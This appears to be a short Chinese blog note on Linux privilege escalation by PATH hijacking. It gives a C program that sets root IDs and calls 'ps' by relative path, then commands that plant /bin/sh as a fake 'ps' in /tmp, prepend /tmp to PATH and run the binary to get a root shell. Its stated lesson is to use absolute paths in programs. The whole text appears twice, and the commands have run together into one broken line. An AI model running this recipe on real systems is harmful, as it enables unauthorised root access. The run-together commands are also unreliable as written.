0x01
这也是为什么在写程序的时候要写绝对路径的原因
在Linux中使用环境变量进行提权
0x02
int main(){setuid(0);setgid(0);system("ps");}
编译成shell, 然后
echo "/bin/sh" > pscp ps /tmp/.chmod 777 /tmp/.export PATH=/tmp:$PATH./shell
就可以拿到root权限
这也是为什么在写程序的时候要写绝对路径的原因
在Linux中使用环境变量进行提权
int main(){setuid(0);setgid(0);system("ps");}
编译成shell, 然后
echo "/bin/sh" > pscp ps /tmp/.chmod 777 /tmp/.export PATH=/tmp:$PATH./shell
就可以拿到root权限
让时间为你证明